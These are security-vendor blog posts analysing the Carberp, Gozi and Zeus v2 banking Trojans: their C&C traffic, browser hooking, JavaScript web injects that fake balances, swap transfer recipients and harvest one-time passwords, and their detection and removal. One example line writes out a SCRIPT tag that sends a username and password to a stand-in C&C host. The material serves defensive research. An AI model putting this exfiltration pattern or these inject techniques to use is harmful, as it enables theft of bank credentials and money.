The stolen credentials will be sent to an encrypted site (<<REMOVED>> in our case). When we looked at the certificate, we realized that it is issued to <<REMOVED>>. The experienced reader will recognize that <<REMOVED>> was one of the main C&C servers in the Netherlands in the first wave of Carberp Trojans that caused quite some damage.

Now if we go to the PayPal site, we can see the injection working within the browser:

Obviously this JavaScript runs now within the HTTPS session of PayPal and can potentially cause a whole lot of problems.

This is a perfect example that highlights the base principles of any kind of JavaScript injection into a website via a Trojan. The C&C server actually needs to be HTTPS as otherwise the browser would complain about mixed HTTP and HTTPS content. In addition, the only other thing that’s needed is JSONP, some JavaScript knowledge and in-depth knowledge about the website that is being attacked.

In the next section, we’ll look into some JavaScript examples that were used in the first wave of Carberp attacks that did some really smart things.

3 ADVANCED HTML/JAVASCRIPT INJECTION

The main emphasis of this in-depth report is not the Trojans themselves, but rather to observe what they do to the banking session (HTML) within the web browser. We look in detail at the chosen approach and provide details how they perform their nasty work.

3.1 SOME GENERAL NOTES

You’ll see quite a bit of JavaScript over the next couple of pages and I hope to find the right balance between technical information and understandibility.

The fraudsters behind Carberp spend considerable time not just on the configuration file, but making sure that they have a very flexible and dynamic scheme in place to compromise a banking website. They want to do much more than “just” simple information stealing where some information is sent with the POST request to somewhere. Instead, they want to be able to dynamically send and receive information to steal data even very sophisticated authentication schemes are used.

However in order to do this, information has to be sent to and from malicious hosts via JavaScript. All browsers have a “same domain” security model in place, which basically means that such information can only be sent to the current domain and not to anyone else (to actually prevent exactly these things).

So how can it be that the bad guys are successful in doing dynamic (AJAX) requests to their C&C servers?

The answer is: they don’t. They use a feature known for AJAX as JSONP (or JSON with Padding). That essentially means that they are not even sending any information via AJAX.

What they do is to dynamically create a <SCRIPT> element with all the parameters that are to be sent as parameters. This dynamic element is created via JavaScript. The browser evaluates this as if it would be part of the banking website and you can happily include content from other hosts. The trick here is that the information that is to be sent is just added as HTTP parameter, which means that the Web browser will make a request to this page (with all parameters). The other benefit is that the page even executes any JavaScript that is returned.

Example: Say the Trojan wants to send the username abc and password 123 to their C&C server; they just dynamically add a SCRIPT element as follows:

  • <SCRIPT src=’https://TROJANC&C.com/in.php?username=abc&pass=123></SCRIPT>

The analysed Carberp configuration and JavaScript files provided lots of really sophisticated examples and we just present a few selected ones below.

3.2 PERSISTENT STORAGE

One thing we found quite interesting is the way how the perpetrators implement persistent storage. Persistent storage is needed if you want to save the current account balance for later use.

Internet Explorer actually provides a nice interface for “localStorage” and “globalStorage” that can be used for exactly this purpose.

If that’s not possible (e.g. if you run Firefox), then they simply create a new content element (that’s a <DIV> element called ‘customStorage’) where they store the information.

Access to the persistent store is done via a JavaScript function (called ‘ud’) where you can specify whether you want to read, write or delete the name and the value of the information to be stored together with an expiry.

3.3 EXAMPLE 1: GET THE ACTUAL CASH BALANCE FOR THE CURRENT ACCOUNT

This will copy the available balance from the HTML content id ‘cashTotalAvalBalance’ to the variable “total”. Then it will remove the dollar ($) and comma (,) characters and then call a function “sdata” which does a request to the C&C server with the following parameter:

  • make=auth
  • rix=<timestamp>
  • total=<available cash>
  • idt=<USERID within the Carberp backend>

3.4 EXAMPLE 2: REPLACING THE LOGIN BUTTON WITH A “MALICIOUS” LOGIN BUTTON

  1. This snippet will walk through all form fields and once it finds one called ‘Anmelden’ (German for login) it will save a reference to it.
  2. Then it will create a new input field with exactly the same values (name, type, class, title, value, tabIndex), however it will set an !deactivated!ONEVENT event handler which will now call a malicious function “doLogin” if the user clicks on it.
  3. Then it will insert this newly created button to the page (2nd to last line) and finally will remove the “real” login button (last line)
  4. The doLogin function will take the accountNumber, the pinNumber, the current URL, a Carberp unique userid and a browser identifier and save this into local storage and then will submit the form.
  5. The information in the local storage will then later be used.

3.5 EXAMPLE 3: CHANGE ACCOUNT BALANCE DISPLAY (TO REMOVE FRAUDULENT TRANSACTION AMOUNT)

  1. This JavaScript routine will go through all the tables within the HTML and if the CSS class is either “posSaldo” (positive balance) or “negSaldo” (negative balance), it will save the current balance in the variable “sal”.
  2. Furthermore it will get the fraudulent amount from local storage into the “sd” variable. “nv” is then the correct HTML of the fake amount (obviously the current balance plus the fraudulent amount).
  3. Then it will be written to the HTML (and to make it look nice, the style sheet will be fixed up as well ;-)

3.6 EXAMPLE 4: REMEMBER THE LAST LOGIN DATE AND REPLACE THE “REAL” LAST LOGIN DATE WITH A FAKE ONE

  1. When called, this will walk through the content elements and find the paragraph that contains “Letztes Login” (German for last login).
  2. It will then convert the date and time into a JavaScript variable
  3. The first time, it just store this information in the persistent storage
  4. The second time, it will replace the real date with the saved one from the persistent storage.

3.7 EXAMPLE 5: CHANGE RECIPIENT DETAILS ON FORM SUBMISSION

Ok, this is cool…

The next snippet will be called in exactly the same way we presented in Example 2, meaning the submit button has been replaced and once the user clicks on submit, the following code will execute:

And then this will happen…

  1. In this section, the original recipient details will be saved and the wire transfer form will be located. For our non-German readers (empfaengerName = recipient name, empfaengerKontonummer = recipient account number, empfaengerBlz = recipient bank identifier, betrag = amount, verwendungszweck = reference number)
  2. All these details will be stored in the local storage
  3. The login number, the account number, the amount and the bank identification number will be sent to the C&C server, who will in turn reply with the money mule account details. Now the alertContents function will be called which will change the recipient details on the fly
  4. Now with all the relevant information at hand, Carberp will search for the wire transfer form and
  5. Put the money mule details received by step 3 into the local storage for later use
  6. Carberp makes sure that this wire transfer is executed immediately
  7. Now the recipient details are changed to the money mule details
  8. And finally the form will be submitted and the wire transfer executed

It is worth noting that now the original recipient details and the changed details (money mule) are still in local storage for later use (e.g. change the available account balance)

3.8 EXAMPLE 6: THE MOST WELL-THOUGHT-THROUGH EXAMPLE OF ONE-TIME-PASSWORD TOKEN STEALING

Warning: You’ll be impressed! What can I say… The power of JavaScript…

We’ve all seen so many examples where form fields are changed so that the fraudsters can steal the information they want, but I have never ever seen such a sophisticated token stealing mechanism as employed by the guys behind Carberp. Sophisticated not really in the technical sense, but more from a user design point of view. These guys have spent so much time making sure that users won’t get suspicious.

As you know, OTP’s are only valid once and for a specific time. So the “traditional” approach was to either present a dedicated form to steal a OTP on its own (see e.g. our last Gozi report for such an example).

So this one blew us away and it works as follows[2]:

  • For an authentication page where the user has to provide a OTP, Carberp will hook into the onSubmit of the “Sign on” button
  • It will save all values (including the OTP) and then simulate the look and feel of a new page loading.  This new page says that the token password has expired and the user should please enter another one. The page loading will be stretched to 60 seconds to get a new OTP!
  • The page load simulation is done as follows
    • The status bar will show “Waiting for https://<<URLREMOVED>>…”
  • All content elements will be made invisible (via CSS) and the page loading time will be a simulated 60 seconds.
  • With a timeout function, the content elements keep appearing one by one (exactly how it looks if a page loads slowly)
  • They check all input parameters (including e.g. that the OTP is different than the old one)

4 ROGUE / FAKE ANTIVIRUS ENGINE

This Carberp variant has an interesting twist to it as it will also install a rogue Antivirus Engine. We at TrustDefender Labs are most interested in transactional Trojans so we’ll keep this section short; we can just view it as a kind of a “reverse online fraud” as the bad guys don’t try to turn legitimate wire transfers into fraudulent ones. Instead, they convince you to do execute and authorize the fraudulent transaction directly. No need to steal it at all.

First of all, it pretends to scan the computer just to find a lot of things (as you would guess).

Obviously there are many infections and I can only remove them if I pay (obviously).

$79.95 for a lifetime license + premium support doesn’t seem to be such a bad deal, but somehow I declined to pay this time.

The system is almost unusable if you don’t upgrade as for every single program the following information window will be shown!

So either you pay or the system is almost unusable… I think they make lots of money…

Side note: if you want to see exactly how much they are making, please refer to the great report by Bart Villeneuve from the Information Warfare Monitor: http://www.infowar-monitor.net/reports/iwm-koobface.pdf

SPOILER: “The Koobface mothership maintains daily records of the money earned from affiliate relationships. The daily total for the last seven days is sent to four Russian mobile phone numbers daily. The records of daily totals extend back for nearly one year, from June 23, 2009 to June 10, 2010. During this time, Koobface earned a total income of $2,067,682.69. The daily average income was $5,857.46.”

[1] Credits to BFK for their passive DNS system

[2] Although you have to see it in action…

 

Malware

GOZI RELOADED – KING OF EVASION

Leave a comment

Over the last couple of weeks / months, there has been quite a bit of interest in transactional Trojans such as Zeus, Carberp, SpyEye and the like. The reason for this was obviously the big success by law enforcement against the perpetrators of these crimes. However such orchestrated action is mostly triggered by success and Zeus has been very successful.

We security researchers know that if one Trojan gets too big, others will step up and stay under the radar to perform their dirty tasks.

Gozi is one of these Trojans that stays fairly under the radar and is able to cause quite a bit of damage within the industry. When we came across a new variant that had a 0% detection rate on Virustotal even though it was virtually doing the same thing as almost one year ago, we were amazed that these guys can manage to evade signature patterns so consistently. As a recap, we looked at Gozi before in February 2010 and the sample we looked at then also had 0% detection rate!!! This is astonishing.

Furthermore, this Gozi variant uses some very interesting characteristics that are worth looking at:

  • Firstly, it uses an encrypted HTTPS connection for its C&C server communication with a valid certificate. This was exclusively done to evade detection and make it harder for the “good guys”. This shows the effort these guys put in to stay undetected.
  • The infection mechanism is still so successful that Gozi didn’t have to change much over the last year. However Gozi was always at the forefront (e.g. Firefox has been supported for a long time).
  • Additionally, this Trojan features extensive client side logic (in JavaScript) and is able to work with many different banking websites to steal static information (such as maiden name, …), and also dynamic password schemes (such as Two-Factor Authentication, One-Time-Password and the like) – very similar to Zeus, SpyEye, Carberp, Silon, etc.
  • This enables real time account takeover that even works with Two-Factor Authentication.

This is a perfect example that the sophistication of these Trojans is increasing rapidly and that the malware problem we face is here to stay.

 

1 INTRODUCTION

Malware samples with 0% detection rate on Virustotal are always very interesting and when we came across a new Gozi variant with 0% detection rate, we simply had to have a more detailed look at this sample.

We have covered the Gozi Trojan in the past; please refer to our in-depth report in February 2010.

The Gozi sample we looked at showed pretty much the same characteristics as the ones we analysed back in February, so this in-depth report will not cover the general details of the Gozi Trojan, but will enable us to focus on the HTML injection part and some interesting enhancements that these guys put into it.

 

2 INSTALLATION & RECAP

We looked at the sample with MD5 3c2892679f682f8a60e78823fd5d3faa which had the following Virustotal detection on Sep 30, 2010 – 0% (0/43) - http://www.virustotal.com/file-scan/report.html?id=7d6ee800c86e3a5fdda89412cf77c7d804847d3fe329ea719bf3734c8c9d5ebf-1285832603

After executing the payload, Gozi willcompromize the system as we would expect with a Gozi Trojan. An automated analysis is available here: http://camas.comodo.com/cgi-bin/submit?file=7d6ee800c86e3a5fdda89412cf77c7d804847d3fe329ea719bf3734c8c9d5ebf

2.1 SAME APPCERTDLL APPROACH

Our Gozi installed similar files and used the same AppCertDlls approach to infect the system.

2.2 SAME ADDITIONAL INFORMATION IN THE REGISTRY

The additional information is also present in the same location as in earlier versions.

2.3 SAME C&C COMMUNICATION STRUCTURE

And finally the C&C communication structure stayed the same as well.

2.4 SAME CONFIGURATION FILE ENCRYPTION

The encryption mechanism for the configuration file hasn’t changed so we could easily recover the decrypted configuration file which will be discussed later on in more detail.

2.5 WORKS WITH FIREFOX AND INTERNET EXPLORER, BUT NOT WITH CHROME

As before, it works with Firefox and Internet Explorer; Chrome crashed or doesn’t really start (meaning chrome.exe process gets created but consumes 100% CPU load).

2.6 OFF-TOPIC: WHO COMES UP WITH THE NAMES FOR VIRUSES???

When you submit this sample to Virustotal, you’ll get the following 29 unique virus names (!) in return:

  • Win-Trojan/Papras.116736.G, TR/Carberp.E.5, Backdoor/Win32.Papras.gen, Win32:Carberp-B, Win32:Carberp-B, PSW.Generic8.WPI, Trojan.Generic.KD.44989, TrojWare.Win32.Trojan.Agent.Gen, Trojan.BrowseSpy, Trojan.Win32.Carberp!IK, Trojan.Generic.KD.44989, W32/Papras.B!tr, Trojan.Generic.KD.44989, Trojan.Win32.Carberp, Backdoor/Papras.pm, Backdoor, Backdoor.Win32.Papras.uk, Generic.dx!ubq, Generic.dx!ubq, Trojan:Win32/Carberp.E, Win32/PSW.Papras.BC, W32/Smalltroj.ZKKH, Trojan/W32.Agent.116736.FP, Generic Trojan, Trojan.Gen, Medium Risk Malware, Troj/Gozi-B, Trojan.Win32.Generic!SB.0, Trojan.Gen, Trojan/Papras.bc, TROJ_GOZI.A, TROJ_GOZI.A, Backdoor.Papras.uk, Trojan.Win32.Carberp.116736, Backdoor.Papras.AJM

I understand the generic detection (such as Trojan.Gen), but how can someone detect this as Carberp? This sample doesn’t show any characteristics of Carberp. The AV’s that call this Gozi are actually in the minority here and based on the Antivirus results, I would think it’s Carberp.

Can someone please enlighten me with the naming procedure for viruses?

2.7 CONCLUSION

So altogether, the underlying infection approach is exactly the same as before, which probably means that there was no need yet to change anything as the current approach is effective.  This is further supported by the fact the not a single Antivirus Engine picked up this version Gozi even though the characteristics of what it is doing is exactly the same as almost 1 year ago!!!

3 C&C SERVER

please refer to the full report for details.

 

3.1 Where is <IP removed, available in full report>?

 

3.2 Trusted Web Indicators

As we know, the trouble with any indicators whether a particular website is safe relies on some knowledge about the server. We quickly checked two services and none found the C&C server to be malicious.

 

4 USE OF HTTPS AND SSL CERTIFICATE

We are seeing more and more Trojans that are using SSL and HTTPS to cover their tracks. Additionally more and more Trojans use digital certificates to evade detection. These digital certificates are either obtained fraudulently (by pretending to be someone else) or stolen (stolen private key).

In our case, it’s much worse as the bad guys didn’t have to do anything fraudulent. You can happily get SSL certificates today that are only “domain validated”. This means that (contrary to public belief) nobody has verified the identity of anyone. All the Certificate Authority did was to send an email to someone to prove that the person has access to the domain (e.g. can receive emails to admin@domain.com).

As with all new transactional Trojans, Gozi has the ability to inject arbitrary HTML into any banking website. As discussed in the previous in-depth report in very much detail, Gozi will in many cases make additional requests to the C&C server to download specific information (such as money mule account details, etc.)

This variant of the Gozi Trojan now uses a HTTPS connection to do this. The reasons for doing so are quite obvious.

  • Many infections are detected by their C&C communication. This can be within a proxy log of a corporate environment or on ISP level. By using https, Gozi can evade this detection as only the hostname will appear in theselog files and not the full URL anymore.
  • Full end-to-end encryption. Nobody in the middle can look into the requested information to see whether it is malicious or not. The bad guys are using the same technology that protects us for their own purpose.

 

4.1 THE SSL CERTIFICATE

The certificate used for the server was signed by Equifax Secure Certificate Authority.

However on closer inspection, this certificate was issued from RapidSLL (a subsidiary) without any identity verification and just domain verification.

full details in the in-depth report

5 CONFIGURATION FILE

As we know, the Gozi configuration file is encrypted, but as no changes to the encryption scheme have been made we were able to decrypt the configuration file quickly.

The currently affected financial institutions together with their services are:

  • list of 18 financial institutions (mainly in the US) removed

 

If you are interested in the full configuration file, just drop us an email atlabs@trustdefender.com and we’ll send you a copy.

 

6 HTML INJECTIONS

In this chapter, we’ll look in quite a bit of detail into the HTML injection techniques used by this Gozi configuration. Please note that this HTML injection technique is a feature of the Gozi Trojan (the software), but what exactly is injected (the content) is defined in the configuration file.  This means that Gozi can do whatever the fraudsters want it to do and the presented information below is therefore a characteristics of the configuration file used by Gozi and not Gozi itself.

 

Blog Note: This is actually the main content of this in-depth report, but due to potential sensitive information, this section is only available in the in-depth report. Please don’t hesistate to request a copy of it my emailing labs@trustdefender.com.

7 FURTHER INFORMATION

Further information can be obtained from the team at TrustDefender Labs by emailing us atlabs@trustdefender.com.

 

8 APPENDIX FROM “OLD” FEBRUARY 2010 REPORT

8.1 HOW TO DETECT GOZI

8.1.1 MANUALLY

The best way to detect the presence of the Gozi Trojan is to look in the registry for the presence of the Gozi values. They are all consistently present here:

  • Gozi DLL
    • HKLM\System\CurrentControlSet\Control\SessionManager\AppCertDlls
      • (where you’ll find a reference to the Gozi DLL)
  • Gozi configuration
    • HKCU\Software\AppDataLow\{GUID}
      • (where {GUID} is a globally unique identifier)

8.1.2 TRUSTDEFENDER

Of course, TrustDefender will detect Gozi straight out of the box as it will see the Gozi DLL being injected into the Web browser process.

8.2 HOW TO REMOVE GOZI

As Gozi consists only of the one DLL, one can remove Gozi from the system by removing all related registry entries presented in this report. However, since the Gozi DLL is well hidden, it is not really straightforward to delete the Gozi DLL entries.

First, you have to identify the name of the Gozi DLL (e.g. lnksinfo.dll in our case) and then use a utility such as MoveFile from Sysinternals (http://technet.microsoft.com/en-us/sysinternals/bb897556.aspx) or directly poking the entry with the PendingFileRenameOperations registry key.

After a reboot, the file would have disappeared (you can check with the auto-complete tab trick) and you can verify that the Gozi registry entries are all gone, making your system safe again.

 

Malware

Carberp – a new Trojan in the making

7 Comments

1         Executive Summary

We at TrustDefender Labs have been analysing various transactional Trojans for quite a while, and lately Zeus has been at the top of the class with a massive feature-set and a massive distribution network. Why create a new Trojan if the existing ones are still highly effective?

Well, it seems that there are more and more new players entering the scene, and today we will look at one of the new players in great detail, the very “promising” challenger called Carberp.

This Trojan stands for a new class of Trojans that emerged out of an era of highly successful transactional Trojans such as Zeus, Mebroot and Silentbanker.

Carberp shows an impressive series of evolutionary steps to where it is today with a number of highly interesting features that include

  • Ability to run as non-administrator
  • Ability to infect Windows XP , Windows Vista and Windows 7
  • Will not make any changes to the registry (only in memory modifications)
  • Sophisticated browser hooking to fully control all internet traffic (including HTTPS with EV-SSL)
  • Stolen data is transmitted in real-time to C&C server

We found another fact more interesting from a positioning point of view. It seems that the malware writers are well aware that competing malware is infecting the same computers[1] and we observe a new trend of disabling not just Antivirus engines, but also other Trojans. They will try to disable them to make sure that they don’t interfere (and obviously that the valuable stolen information is not sent to the “competition”).

This Trojan already has a quite impressive feature-set and if it evolves at the same speed as previous Trojans it definitely has the potential to be in the same league as Zeus. But keep in mind that threats only evolve as much as they have to and as security researchers we are always on the lookout for the next greatest technical advancements, but what we learn out from the field is that even phishing is still working fine if used properly.

This Trojan seems to be purpose built and has evolved to where it is today. We anticipate that Carberp will further develop and could morph into a big threat. Hopefully I’ll be proven wrong here but it seems that the bad guys are everywhere and innovating very quickly.

[Update] We will not look specifically into the transactional, HTML overlay techniques this trojan provides similarly to Zeus, Spyeye, Gozi, … as we will cover this in a separate in-depth report.

2         Introduction

We looked mainly at the sample with MD5 07d3fbb124ff39bd5c1045599f719e36 which we obtained from on Wed, Sept 29, 2010. It had a Virustotal detection of 21/41 on the 29th (http://www.virustotal.com/file-scan/report.html?id=61f97c771822ea8c2de0c328d4887febe3fae289e80a0b6caf7768742ae2240f-1285773812).

The sample is packed with ASPack and even though it was a decent detection (well, we consider 51% detection a decent detection), at least four out of the big 6 Antivirus Engines didn’t pick it up.

Furthermore most of the detections were generic ones as this sample was packed with ASPack. Actually only two had a non-generic detection (4.8%).

A static analysis by Threatexpert helps us determining what it is doing on a high level (http://www.threatexpert.com/report.aspx?md5=07d3fbb124ff39bd5c1045599f719e36)

2.1       Additional samples

In addition to the sample above, we looked at the following Carberp samples that date back to June 2010.

However these samples did not provide the three plugins mentioned later on in this report, but just a single “grabber” plugin

2         Confusion in regards to the naming of Carberp

There seems to be quite a bit of confusion within the Antivirus community in determining what Carberp is or is not. While doing our research, we have come across a number of samples where at least one Antivirus Engine detects Carberp while the sample is either Zeus or something completely different.

We have learned already in the previous chapter that it is not yet a well-known Trojan and many Antivirus Engines only detect it using heuristics (which will give you very cryptic names).

more details in the in-depth report.

3         Role of geographic IP

It is quite common these days that distribution and execution of Trojans are very heavily geographic based. Based on the client IP address, the C&C servers will determine whether to infect a system at all or how to behave. We have seen geographic detection tools quite heavily for Mebroot and also Zeus.

While we haven’t noticed a different behaviour based on the geographic location, we received the following error message while doing some research. GeoIPCity.dat was a free geographic database provided by Mastermind.

4         Internet Requests

After installation, Carberp will automatically make a few requests to the internet to download additional files.

Our sample had a hard-coded C&C server at <<<HOST>>> which according to whois.sc is registered in March 2010 (!).

For more details please refer to the in-depth report.

4.1       1st request: Transmission of a unique ID

The first internet request will transmit a unique ID of the computer to the C&C server (POST /set/task.html with id)

After that, the id will always be used for any transmissions to the C&C server.

4.2       2nd request: Upload of all running processes

The next request is an upload of all running processes. Carberp performs a POST request to /set/first.html with the following parameters (this might differ from computer to computer)

  • <<NUMBER>>&os=Windows XP Service Pack 3&plist=system,smss.exe,csrss.exe,winlogon.exe,services.exe,lsass.exe,vmacthlp.exe,svchost.exe,svchost.exe,msmpeng.exe,svchost.exe,svchost.exe,svchost.exe,spoolsv.exe,svchost.exe,vmtoolsd.exe,explorer.exe,vmupgradehelper.exe,vmwaretray.exe,vmwareuser.exe,msseces.exe,ctfmon.exe,alg.exe,wscntfy.exe,wuauclt.exe,procmon.exe,wmiprvse.exe,wireshark.exe,dumpcap.exe,svchost.exe,svchost.exe

4.3       3rd request: Download of additional binary files

Immediately after that, Carberp will additionally download three more files

  • GET /cfg/passw.plug HTTP/1.1
    • Size: 681,835
    • MD5: 21ca03e809a418abc36a32630ac62b73
  • GET /cfg/miniav.plug HTTP/1.1
    • Size: 581,200
    • MD5: a041b68ce03e4918706ce3837c3c4e56
  • Get /cfg/stopav.plug HTTP/1.1
    • Size: 487,035
    • MD5: 8d761ecbae90de25d5165d8aac4fb585

We will look at these file in more detail later on in this report.

5         Installation

After execution, Carberp will create a number of temporary files in the %TEMP% directory (c:documents and settings<USER>Local SettingsTemp on Windows XP) or c:users<USER>AppDataLocalTemp).

Carberp does not need to have administrator rights to run and operate, in fact the Trojan is very careful not to create any files or use anything so that it would need administrator privileges.

While this very disturbing fact means that the Trojan will natively run on locked down machines, as well as on Windows Vista and Windows 7, it also means that the Trojan will only infect the currently logged on user. It will not infect any other user or any kernel component of the system at all.

It follows a similar approach as the Zeus Trojan where it is much more important to spread the Trojan on the newer Windows Operating Systems and this is very disturbing news.

On our system, Carberp created the following files

  • %temp%F.tmp
  • %temp%/10.tmp
  • %temp%/11.tmp
  • %temp%/~TM12.tmp
  • %temp%/~TM13.tmp
  • %temp%/14.tmp

5.1       Execution

Available in the in-depth report

6         Windows / Browser Hooks

Carberp will hook the Export table of a number of WININET.dll and USER32.dll functions. The most important ones being

  • WININET.dll
    • InternetReadFile
    • InternetCloseHandle
    • HttpSendRequestA/W
    • InternetReadFileExA/W
    • HttpSendRequestExA/W

More details available in the in-depth report.

7         Hidden files (for activation after restart)

As the Trojan won’t make any permanent changes to the system, Carberp needs to make sure that it is re-activated after a system restart.

It is performing this task by copying itself to the Startup section of the currently logged on user (c:documents and settings<USER>Start MenuProgramsStartup) with chkntfs.exe in our case. The MD5 is exactly the same as the initial dropper itself.

However the file is hidden from the operating system and you won’t find it with the Windows Explorer or even with the command line. Even the “old” tab-complete trick doesn’t work and this file is really completely invisible.

Special tools such as GMER can make it visible

8         Internet traffic interception (stealing of real-time data)

As discussed before, Carberp has full visibility and control over any internet transactions and it will send off every single password, one-time-token, … for every single login in real-time. It is one of these new Trojans that won’t just collect the data and use it much later, it will send the information out of the computer before it is sent to the real recipient (e.g. our bank).

More details in the in-depth report

9         Detection

This Trojan is very hard to detect without external tools… Obviously TrustDefender detects and protects against it straight out of the box.

The best way to spot a detection is to use the process explorer from Microsoft’s Sysinternals tools (www.sysinternals.com).

Once you start procexp.exe, click on the explorer.exe process and select “View” from the menu and choose “Show Lower Pane”.

At the end of the list, in the “Thread” section, check to see whether there are any threads in a <non-existent Process>. If yes, you are infected. If no, you should be ok from Carberp.

10    Downloaded modules (miniav.plug, passw.plug, stopav.plug)

While we still analyse and work through these downloaded components, we have seen two of these plugins before and they were designed to disable current Antivirus Protection (stopav.plug) and check for the existence of other trojans (miniav.plug). We have seen detection routines for Zeus and Limbo.

While we are still working on the details, this highlights an interesting approach that the Trojan writers are using. They know that if they can compromise a computer, chances might be high that there is already another Trojan running on this machine and they want to make sure that

  • multiple different Trojans do not interfere with each other
  • the same stolen credentials will not be sent to multiple C&C servers as this would decrease the value and the uniqueness of the data.

11         Appendix: How does TrustDefender deal with it?

The TrustDefender Agent will fully detect and protect against Carberp in various ways straight out of the box. TrustDefender doesn’t need signatures or pattern updates and our online transaction security solution was designed to protect the user and the financial institution right from the start.

More information can be found in the in-depth report or please contact us at info@trustdefender.com

[1] well, if you didn’t care about your security, chances are high that you get infected multiple times

Malware

Zeus 2.0 – Zeus trojan at its best – extending its reach to Windows Vista, 7 and Mozilla Firefox

1 Comment

In-depth report availableIntroduction

Well, here we are again… After the gang behind Zeus released a new major release of the Zeus Trojan (dubbed Zeus v2), it has received quite a bit of media attention. Our report provides an in-depth look at this new threat from a technical level to provide interested parties detailed information what Zeus v2 does and how it performs its dirty tasks.

Although we have covered the Zeus Trojan in the past, we are once again amazed by the innovation and the effort the bad guys have put in place to keep ahead of traditional security initiatives that do not involve the user’s desktop.

These “advancements” can be grouped into two broad categories; development of the core Zeus platform (Trojan and backend) and development of additional functionalities (such as an instant messaging notification capacity and an extensive JavaScript engine for dynamic challenge/response harvesting and real-time activities).

Although both of these categories are equally disturbing, this post will focus on advancements of the Zeus Trojan core platform that have enabled Zeus to target Firefox users as well as run on newer operating systems that have extensive security features inbuilt into them to make life for such Trojans much harder, namely Windows Vista and Windows 7.

These inbuilt hardening features are a result of Microsoft’s development over the past few years in a response to the proliferation of such Trojans targeting their operating systems and browser. We just hope that other vendors are as equally prepared as the bad guys start turning their attention to them with new variants of the respective Trojans.

In addition, these advancements clearly show how the bad guys are willing to adopt new strategies in response to market trends. The more success Firefox has, the more of a target it is going to be. A recent study noted that the market share of Internet Explorer had fallen below 60%[1], and since then we have seen the bad guys trying to increase their market share by targeting Firefox.

Although we have previously seen custom built Zeus Trojans that have such enhancements enabled, these features are now in the core Zeus binary with “official” support and maintenance. This means that these previously custom features are now available to everybody and we believe there will be a big surge of Zeus activity as a result.

In the next part of the Zeus in-depth reports we will look more closely at the “additional” features of Zeus, namely advanced configuration file options and the extensive JavaScript engine for dynamic challenge/response harvesting and real-time activities.

This blog contains some information available in our in-depth report that is available on request by sending an email to labs@trustdefender.com.

SOCKS proxy

Installation

Upon installation on Windows XP, we noticed that we did get a warning from the operating system, as depicted below:

This is the default dialog if a program wants to listen and accept connections on the computer; however we haven’t seen this dialog even with previous Zeus variants as they were running as administrators where it was possible to get around this notification.

The interesting thing here is that Windows is asking the user to unblock the Windows Explorer program. There is no reference to any third-party software or anything suspicious, thus making this confirmation actually look fairly legitimate.

On Windows Vista and Windows 7, you’ll experience the same confirmation but it looks slightly different:

But once again, a legitimate Windows process (taskhost.exe) is asking to be allowed by the user!!!

The “funny” thing is that in the case of Zeus v2 running as administrator, there is no need for this security alert when using the built-in Windows Firewall as the Windows Firewall is probably the only firewall in the world where you can programmatically allow any program (see the fairly undocumented Windows API WindowsFirewallAddApp).

Functionality

The above dialog is produced by Windows as the Zeus v2 Trojan tries to listen and accept connections from the computer. In all of our samples, this port was port 13851 as per the screenshot below and Zeus v2 operates a SOCKS proxy on this port.

This SOCKS proxy allows the bad guys to relay any internet requests through the victim’s computer, which in turn means that any internet requests that the bad guys execute will show up as if it would have been done by the victim. So any passive fingerprinting technologies employed by the web service provider will always see the correct public IP address (and thus the corresponding geographic lookup). This is in use by many risk engines for web authentication.

The SOCKS proxy has another advantage: The bad guys can relay any TCP and UDP traffic through the victim’s machine.

However please note that this SOCKS feature is not new, however obviously we haven’t seen this feature in active on non-administrator accounts! And on Windows Vista and Windows 7, there is actually a big chance that users will allow this as the warning mentions that a legitimate Windows component needs permission to run!!! This is definitely new.

Initial Handshake, Configuration file

See the in-depth report

Firefox Hooking

As mentioned above, this Zeus variant is capable of compromising Firefox in exactly the same way it compromises Internet Explorer. As a result, you will find that a Zeus infected system will have quite a few “hooks” of legitimate Windows functions internally.

These “hooks” mean that the Zeus Trojan is making sure that when Firefox calls HttpSendRequest, the call does not go directly to the Windows API, but rather via the Zeus Trojan before going to the Windows API. In doing this, Zeus has full control over the HTTP and HTTPS sessions made by the Firefox browser.

GMER and other rootkit hooking tools detect the following hooks into the Firefox browser.

However the interesting thing is that GMER and other rootkit tools seem to miss a few hooks as these functions are not really used by Firefox. The above functions are from WININET.dll and Firefox uses its own API to connect to the Internet. It also uses OpenSSL for SSL encryption/decryption and all these functions are wrapped in nspr4.dll (which resides in the Firefox program folder).

For an overview of how these are used, please refer to the Mozilla documentation at: http://www.mozilla.org/projects/security/pki/nss/ref/ssl/sslintro.html

If we look more closely, we can see the key functions that are hooked for Firefox are the following ones from nspr4.dll (naturally, we can use TrustDefender for this task :-).

As per the above documentation from Mozilla, if you have full control over PR_Read and PR_Write, you have full control over any Internet connection that Firefox is making, regardless of whether it is HTTP or HTTPS. It also doesn’t even matter whether it is a site with an EV-SSL certificate, as seen in the below image of a legitimate site with an authentic EV-SSL certificate.

So by hooking these functions, Zeus has full control over the session and can now inject any arbitrary HTML code into the browser whenever the bad guys want. Naturally they can see the full URL as well.

Please note that Zeus uses the same approach for hooking the Internet Explorer, however, since Internet Explorer uses different libraries for Internet connections, different DLL’s will be hooked.

However we want to make it clear that Zeus is not exploiting any particular vulnerability in Internet Explorer or Mozilla Firefox. It compromised the environment where the browsers operate and thus is able to get full control over the session.

The interesting thing we observed is that the majority of the new Zeus variants don’t inject HTML code into public websites, but rather only do this once a user has been successfully logged in to a specific site. They do this for various reasons and we will cover these in more detail in our next in-depth report. However, by doing this it means that you can’t see Zeus in action without a valid login, making detection extremely harder.

The following screenshot shows the new Zeus variant in action for a financial institution[2]:

<<screenshot available in the in-depth report>>

Windows Vista and Windows 7

One of the most disturbing features of this new Zeus variant is the fact that is capable of running not only on Windows XP, but also on Windows Vista and Windows 7 (we only checked 32 bit so far).

The big question was how they can do this despite of the hardened features of both operating systems.

Well first of all, when you execute the Zeus Trojan the Windows UAC does not kick in, meaning that the Zeus Trojan installer does not run with administrator privileges.

Although this in itself is a good thing as it means the Zeus Trojan cannot do any system-wide changes, the bad news is that Zeus still manages to infect the currently logged on user. The upside of being able to infect the machine without UAC outweighs the downside of only infecting the currently logged on user since that’s who they are targeting anyway.

The Zeus v2 Trojan takes this into account and will use random names for all events and semaphores … so that it can happily run multiple instances for multiple users on the same computer.

After we executed the Installer, the following registry entry is added to make sure that the Trojan runs when the computer is rebooted. Please note that this entry is in HKCU which means that this only applies to the current user and not for any other users of the computer.

This is different to older versions of the Zeus Trojan as they would install themselves in the Userinit value of the Winlogon key globally (HKLM – HKEY LOCAL MACHINE).

Another point to note is that the filename is random and will be different for every installation.

